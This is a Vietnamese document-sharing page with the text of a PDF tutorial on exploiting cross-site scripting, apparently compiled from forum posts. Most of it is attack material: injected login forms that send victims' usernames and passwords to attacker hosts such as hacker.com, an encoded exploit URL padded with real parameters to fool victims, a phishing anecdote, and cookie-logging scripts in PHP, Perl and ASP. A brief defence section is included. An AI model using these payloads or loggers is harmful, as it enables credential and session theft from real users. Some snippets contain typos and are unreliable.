XSS cơ bản

Lỗi này xảy ra khi ứng dụng web thu nhận các dữliệu nguy hiểm được nhập từhacker .

Nhưbạn đã biết thì 1 website thường chứa các link , thông qua các link này hacker có thể

chèn các đoạn code vào và khi người dùng nào đó sửdụng link này thì coi như99% là toi

mạng , nói nôm na là hacker có thểthông qua lỗi này đểchèn code vào site hay link để

chôm các thông tin quan trọng từnạn nhân, các thông tin quan trọng ở đây có thểlà

cookie hoặc username + pass đểvào tài khoản 1 ngân hàng nào đó sau đó thông tin này

được gửi tới cho hacker . Cách thường dùng của hacker là mã hoá các phần nguy hiểm

của link ( đã chèn code) thành kiểu HEX ( hoặc có thểlà các hình thức khác ) đểlàm cho

nạn nhân ít nghi ngờkhi click vào cái link nguy hiểm đó .

pdf14 trang | Chuyên mục: Mạng Máy Tính | Chia sẻ: dkS00TYs | Lượt xem: 2016 | Lượt tải: 1download
Tóm tắt nội dung XSS cơ bản, để xem tài liệu hoàn chỉnh bạn click vào nút "TẢI VỀ" ở trên
ễ hiểu tôi sẽ kể cho các bạn nghe 1 câu chuyện về hack bằng lỗi 
XSS và đây cũng là 1 tình huống nữa của lỗi XSS : 
Một hôm buồn đời tôi lang thang trên net và vào 1 website nọ , ví dụ là 
 theo thói quen tôi đánh 1 dữ liệu bất kì vào ô put in USERNAME , và 
ở đây cái mà tôi đáng vào là Mask_NBTA tôi liền thấy xuất hiện dòng chữ "Invalid login 
: user Mask_NBTA is not found in our data" , hè hè 1 triệu chứng của XSS đây rồi , nhìn 
vào thanh URL lại thấy cái này 
quá sướng rồi còn gì , công việc bi giờ làm sao để hack đây . Đầu tiên tôi save as cái 
trang này vào dĩa cứng , dùng NOTE PAD open và xem cái sources .Tại sao tôi làm vậy ? 
Vì tôi muốn biết 2 cái tên biến của login form , và tôi đã dễ dàng tìm thấy , nó là "ten" và 
"matkhau" , dựa vào 2 cái này thì tôi đã biết mình cần phải làm gì , và phải chèn code 
như thế nào hè hè . Cái tôi muốn lúc này là làm sao dựa vào XSS để lấy được thông tin 
về username + pass của nạn nhân . Vậy thì mình chèn cái gì đây , sau 1 thoáng suy nghĩ 
tôi quyết định chèn cái này đây : 
<FORM action="fakelogin.asp" method="post" 
onsubmit=" 
image= new Image; 
image.scr='h*tp://myhost/cookie.asp?cookie='+document.form(1).ten.value + '/' + 
document.form(1).matkhau.value;"> 
Tôi sẽ giải thích từng cái cho các bạn hiểu : 
cái để kết thúc cái FORM của cái site đã được mở ra ở trên . Còn cái code bên 
dưới thì nhìn thôi chắc các bạn cũng hiểu hết , không cần giải thích nhé . 
Chèn code như sau : 
Ht*p://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2&tênbiến3=
giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%3C/FORM%3E%3CFORM%20action=%2
2login1.asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%20i
mage;image.scr='h*tp://myhost/cookie.asp?cookie='%20%2bdocument.form(1).ten.value
%20%2b'/'%20%2bdocument.form(1).matkhau.value;%22%2E 
Tại sao lại chèn thêm 1 đống biến có thật vào, nhớ là làm sao để nhìn vào URL ta ko thấy 
cái phần code chèn thêm ngoài sau , chủ yếu là làm cho cái link thêm dài loằng ngoằng 
trước hết làm hoa mắt nạn nhân , sau đó là tạo dáng vẻ có thật 1 cách tự nhiên cho cái 
link . 
Làm tới đây tôi chợt nghĩ ra mình có "Alert" bạn là member của cái site này , sẵn đang 
rảnh rổi chọc nó chơi . Cách tôi làm là send cho nó 1 cái mail với nội dung thế này : 
Mày nghe tin gì mới chưa ! WEBSITE a.com mở 1 cuộc thi có tiền thưởng là 1000 000 , 
lại đúng sở trường của mày nữa , còn hông biết tham gia nữa . Xem cái link này mày sẽ 
hiểu : 
H*tp://www.a.com/login.asp nhưng bên dưới cái link này sẽ là cái 
ênbiến1=giî..au.value;%22%2E 
Bạn đoán xem chuyện gì xảy ra . Tất nhiên là nó sẽ click vào cái link tưởng chừng như 
vô hại đó , sau đó login vào site bình thường mà đâu ngờ là cái username + pass đã bị 
........... 
Công việc của tôi chỉ là vào host , mở cái file log ra và xem , có gì trong đó , bí mật 
.......... 
Câu chuyện tới đây là hết . Chắc các bạn cũng đã hiểu cách làm của tôi , hy vọng với 
những cái đầu thiên tài của các bạn thì sẽ có những cách hay hơn cách tôi vừa trình bày . 
CÁCH PHÒNG CHỐNG XSS : 
1/Trước hết là cho admin của các website : 
+ Không cho phép bất cứ HTML tag nào nhập vào từ người dùng . 
+ Lọc tất cá các Active Script từ HTML Code 
2/Dành cho người dùng : 
Cẩn thận là trên hết , đừng chết vì thiếu hiểu biết . 
Tôi viết bài trước hết là để ôn lại kiến thức cho chính mình sau đó là muốn giải thích cho 
các bạn hiếu thật rõ về nguy hại của XSS để mà phòng tránh . 
Cross-Site Scripting (ko nhớ tác giả) 
Giới thiệu : 
Bạn đã bao nhiêu lần nhận một email mà chứa các hyperlink rồi ?Thử nghĩ xem khi bạn 
nhận được 1 mail link tới site mà bạn tham gia với lời mời chào khá ngọt , ban click vào 
link đó mà ko chút thắc mắc , login với user của mình .... như vậy rất có thể là bạn đã mất 
pass vào tay một hacker rồi Đây chỉ là 1 vd nhỏ về cross-site scripting thôi . 
Cross-Site Scripting 
Cross-Site Scripting còn gọi là XSS , lỗi xảy ra khi các ứng dụng web thu nhận các dữ 
liệu nguy hiểm của các hacker như một đoạn mã javascript ,Vbscript.... Nó sẽ chỉ giúp 
bạn lấy được thông tin mật của một ứng dụng web thôi , ko hơn ko kém ( và bạn hãy 
quên ngay việc nghĩ rằng để khai thác thành công lỗi này chỉ mất vài phút nhé ) 
XSS có khả năng ảnh hưởng tới các site cho phép người dùng nhập dữ liệu vào ,thường là 
: 
Các công cụ tìm kiếm 
Forms được điền bởi user 
Web message boards, guestbook 
Một hacker khi phát hiện ra lỗi XSS sẽ cố gắng dùng nó để lấy cookies, tạo các trang 
login giả để lấy pass của người khác ..v..v.. 
Bây giờ chúng ta bắt đầu đi sâu vào lỗi XSS , trước tiên là xác định site dính lỗi này : 
Ví dụ một công cụ tìm kiếm của site sau khi được ta nhập giá trị ( ví dụ : XSS ) nó sẽ trả 
về những gì mà ta vừa nhập ( tức in ra XSS ) thì rất có khả năng nó bị dính XSS . Bây giờ 
ta view source của site đấy nếu tìm thấy " XSS " thì đích thị site này dính lỗi rồi , hè hè 
Để mô phỏng một cuộc tấn công bằng XSS , một site ngân hàng online đã được creat ( 
www.freebank.com ). Trước tiên hacker sẽ bắt đầu tìm một trang trên site này để có thể 
nhập giá trị , trong ví dụ hacker đã tìm ra rằng khi cố gắng login ko được thì username sẽ 
hiện lên trên thanh URL như sau : 
 (%20 là 
các kí tự trắng ) 
tiếp theo , hacker sẽ kiểm tra xem có thể tiêm mã HTML và javascript vào trang wweb 
này được ko . Đơn giản chỉ cần thay "Invalid%20Login:%20Badlogin " ở URL trên bằng 
alert('XSS') , nếu sau đó ta nhận được 1 cửa sổ pop-up với thông báo 
XSS thì ta hoàn toàn có thể khai thác site này qua lỗi XSS . Anh ta bây giờ phải tạo 1 
URL để có thể lấy được các thông tin nhạy cảm . Để tạo được 1 URL mà có khả năng 
qua mặt được nhiều người thì hacker phải mở sourrce của trang web ( mà cụ thể ở đây là 
trang banklogin.asp ) để đưa vào URL phù hợp: 
ở đây hacker sẽ thêm vào đoạn code sau ( tùy từng trường hợp cụ thể mà ta có thể thay 
bằng code khác ) 
<form action="login.asp" method="post" 
onsubmit="XSSimage= new Image; 
XSSimage.src='
1).password.value;"> 
khi được " tiêm " vào trang login thì nó sẽ như sau : ( đoạn code của chúng ta được in 
nghiêng ) 
<td bgcolor="#2E7AA3" Style="border:1px solid black " WIDTH ="258" 
HEIGHT="217> 
<form action="login.asp" method="post" 
onsubmit="XSSimage= new Image; 
XSSimage.src='
1).password.value;"> 
 Username :<input type ="text" name ="login" style="border: 1px solid black; 
spacing :0">Password: 
............................ 
Như ta thấy , đoạn code được "tiêm " vào gồm 2 phần chính , một là để kết thúc 
 của bản gốc , hai là 
<form action="login.asp" method="post" 
onsubmit="XSSimage= new Image; 
XSSimage.src='
1).password.value;"> 
Chú ý rằng <form action="login.asp" method="post" ko hề khác bản gốc tuy nhiên ta 
thêm vào onsubmit , nó có tác dụng là chạy đoạn javascript khi victim click vào submit. 
Thông tin của victim sẽ gửi đến link ở trên (www.hacker.com ) 
Sau khi có được code rồi , bây giờ hacker sẽ phải đưa nó vào URL : 
ame=prod_sel.forte&source=Freebank&AD_REFERRING_URL=
com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method
%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSi
mage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29
.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22
%3E%0D%0A 
Dễ nhận ra là URL này khác với URL mà ta dùng để test XSS , đơn giản chỉ vì như thế 
này URL sẽ đủ dài để giảm sự nghi ngờ của victim thôi. 
Rồi , bây giờ ta sẽ gửi link này đến cho victim , có rất nhìu cách để qua mặt họ sau đó chỉ 
việc chờ và check log file tại 
www. hacker.com 
Trên đây chỉ là 1 ví dụ nho nhỏ thôi bằng sáng tạo của mỗi người sẽ có 1 cách khai thác 
riêng cho mình Các bạn ko chỉ có thể lấy user và pass của người khác mà còn có thể thay 
đổi giá trị của sản phẩm tại 1 site mua bán , thêm dữ liệu ..v..v..v .. 
Hi vong bài viết này có thể giúp các bạn newbie như mình phần nào hiểu thêm về XSS .À 
với các bạn chưa biết XSS là gì sau khi đọc xong bài này thì các bạn đọc lại bài của anh 
Mask_NBTA_83 ý .Bài đấy sẽ giúp ích nhiều đấy . 
Khi nào kiếm thêm bài về XSS mình sẽ cố vít 1 bài nữa nếu ko ai thấy phiền hè hè 
bài trên mình đã nói qua về lỗi XSS và cách khai thác của nó hẳn các bạn còn nhớ đoạn 
javascript mà hacker sẽ sử dụng để lấy coookie của victim chứ (có ko tí nhưng mình xin 
chỉ ra ví dụ sau ) 
document.location.repleace(' + document.cookie ) 
file php để ghi lại coookie có sẽ như sau : 
<?php 
$f = fopen ("log.txt", "a"); 
fwrite($, "IP : { $_SERVER ['REMOTE_ADDR']} Ref: {$_SERVER 
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS ['c'] }\n"); 
fclose($f); 
?> 
Hay đây là 1 ví dụ khác : 
document.location.repleace(' + document.cookie ) 
; 
và đây là source của file steal.cgi : 
#! /usr/bin/perl 
#steal.cgi by David Endler 
#Specific to your system 
$mailprog = '/usr/sbin/sendmail'; 
#creat log file 
open (COOKIES,">>stolen_cookie_file"); 
#what victim see 
print " Content-type: text /html \n\n"; 
print <<EndOfHTML; 
Cookie stealing 
 your cookie has been stolen hehe 
EndOfHTML 
#The QUERY_STRING enviroment variable should be filled with 
#the cookie text after steal.cgi: 
# 
print COOKIES "$ENV{ ' QUERY_STRING ' } from $ENV { ' REMOTE_ADDR'} \n; 
#now mail the alert as well so we can start hijack 
open (MAIL,"|$mailprog -t"); 
print MAIL " To: hacker\ @hacker.com \n"; 
print MAIL " From: cookie_steal \ @hacker.com \n"; 
print MAIL " Subject :Stolen cookie \n\n"; 
print MAIL "-" x 75 . "\n\n; 
print MAIL "$ENV{ 'QUERY_STRING'} from $ENV{ 'REMOTE_ADDR'} \n"; 
close (MAIL); 
Một ví dụ khác nữa ( của matrix2k ) 
window.open(""+document.c
ookie) 
file cookie.asp: 
<% 
Set bien = CreateObject("Scripting.FileSystemObject") 
Set taobien = bien.OpenTextFile(Server.MapPath("xss.txt"), 8, true) 
taobien.WriteLine Request.QueryString("cookie") 
taobien.Close 
Set taobien = Nothing 
Set bien = Nothing 
%> 

File đính kèm:

  • pdfXSS_co_ban.pdf